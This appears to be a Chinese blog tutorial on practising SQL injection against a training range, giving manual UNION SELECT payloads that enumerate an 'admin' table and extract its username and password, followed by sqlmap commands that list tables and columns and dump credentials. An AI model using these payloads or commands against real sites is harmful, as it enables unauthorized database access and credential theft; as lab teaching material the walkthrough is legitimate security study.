sql注入 练手网站_靶场sql注入练手----sqlmap篇(纯手打)
绝大数情况下,管理员的账号密码都在admin表里
查询字段名
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车
查出 admin 表里 有 id username password 三个字段
查询字段内容
构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1 回车
构造 ?id=1 and 1=2 union select 1,password from admin limit 1,1 回车
limit 1,1 没有回显,说明只有一个用户
构造 ?id=1 and 1=2 union select 1,password from admin limit 0,1 回车
方法二、上sqlmap
(1) 猜解是否能注入
sqlmap.py -u “xxx:8003/index.php?id=1”
(2)猜解表
sqlmap.py -u “xxx:8003/index.php?id=1” --tables
根据猜解的表进行猜解表的字段
win: python sqlmap.py -u "xxx:8003/index.php?id=1" --columns -T admin
根据字段猜解内容
sqlmap.py -u “xxx.xxx.xxx.xxx:8003/index.php?id=1” -D maoshe -T admin -C password,username --dump #-D 接数据库名字 -T接表名 -C接要查的字段名称逗号隔开 --dump 生成dump文件
爆出需要的字段
方法三、穿山甲等其他工具
以下省略n个字段
声明:博客内容仅供学习交流,用于违法目的请自行负责
sql注入 练手网站_靶场sql注入练手----sqlmap篇(纯手打)相关推荐
- sql注入 练手网站_新手渗透测试训练营——SQL注入
学习渗透测试,一定要掌握各种漏洞的检测和利用方法.今天我们分析一下dvwa环境中sql注入从低级到高级的渗透步骤. 手动挖掘Sql注入,首先要发现注入点.以low级别为例,发现一个可以输入内容的文本框 ...
- sql:命名管道管道程序_学习SQL:命名约定
sql:命名管道管道程序 A naming convention is a set of unwritten rules you should use if you want to increase ...
- 将sql数据导入mysql数据库_将sql导入mysql数据库
MYSQL导入导出.sql文件 MYSQL导入导出.sql文件 一.MYSQL的命令行模式的设置:桌面->我的电脑->属性->环境变量->新建->PATH=": ...
- sql 左联接 全联接_学习SQL:联接多个表
sql 左联接 全联接 If you want to get something meaningful out of data, you'll almost always need to join m ...
- 新手前端练手网站_程序员从入门到入狱:必收藏的七大网站
作为一个正在自学JAVA的菜鸡,我把我在学习中用到的网站整理了一下,分享给和我一样正在学习编程的小白们. 1.菜鸟教程 菜鸟教程是零基础小白入门的一个必备网站,菜鸟教程包含了所有跟编程有关的技术.从前 ...
- 新手前端练手网站_影视后期新手大礼包
点击上方蓝色字关注我们~ 为什么很多人学习影视后期学不下去?为什么很多人学习影视后期不知道是为了什么?无论是工作需要,或者兴趣爱好,又或者转行设计.还在迷茫的你,请认真看完下面的视频,会对你有十分大的 ...
- 新手前端练手网站_编程到底难不难学?新手入门选择哪种语言好?
以下内容适合的读者:想要学习编程的小白 一.编程到底难不难学? 对于这个问题我的回答是不知道,学会了编程的人会说好学,中途就放弃的人会说很难,任何知识想要掌握好都不是一件容易的事情.所以我决定用自己的 ...
- sql 时态表的意义_在SQL Server 2016中拉伸时态历史记录表
sql 时态表的意义 背景 (Background) With the release of Microsoft SQL Server 2016 a lot of new features were ...
- server sql 判断是否是当天_判断sql server 是否在开启服务状态
vb编写的软件,在系统开机时,应用程序会比sqlserver启动快,造成连接不上数据库的错误. 有什么办法可以先判断一下sql server服务的状态,如果没开启先开启服务,在去连接sql服务. 从网 ...
最新文章
- dhcp snooping+IPSG的一些理解
- 第一章:1.2.2系统分类(二)
- snmp在企业网中的简单应用
- vs2008 C++创建和调用标准DLL
- 【Linux】用户与权限
- 数据库知识 | 关系型数据库与非关系型数据库小记录
- python语法报错_Python语法的常见错误和处理异常
- Algs4-2.3.25切换到插入排序的试验
- 海量数据库的查询优化及分页算法方案(3)--改善SQL语句[转]
- SpringBoot应用部署[转]
- java删不了_java – 为什么我不能删除项目?
- 通信工程专业高级工程师职称申报经验分享
- linux查看psd文件,ImageMagick PSD图形文件处理远程缓冲区溢出漏洞(CVE-2014-1947)
- win10 2016 LTSB
- 允许用户把若干个作业提交给计算机,允许多个用户将若干个作业提交给计算机系统集中处理的操作系统称为( )。...
- c语言之sizeof与strlen全
- pdf合并、生成目录大纲
- python需要学哪些基础知识_零基础学Python应该学习哪些入门知识
- hadoop3访问hdfs web控制页面遇到的各种问题总结
- 计算机网络与新媒体就业前景,2018网络与新媒体专业就业前景和就业方向分析...
热门文章
- C++ pair使用案例(一)
- java运用ascii实现动画效果_安卓开发20:动画之Animation 详细使用-主要通过java代码实现动画效果...
- 包邮送50本畅销书,涵盖数据库、Python、机器学习等!
- 99+好友共同关注,公众号推荐
- 混合编程:如何用pybind11调用C++
- 学棋五年的我输给了昇腾CANN
- 只需2步,教你在Vue中设置登录验证拦截
- 对话华为云专家,摆脱无意义“内卷”
- KubeEdge在国家工业互联网大数据中心的架构设计与应用
- 如果云是水滴,Kubernetes就是水滴管理平台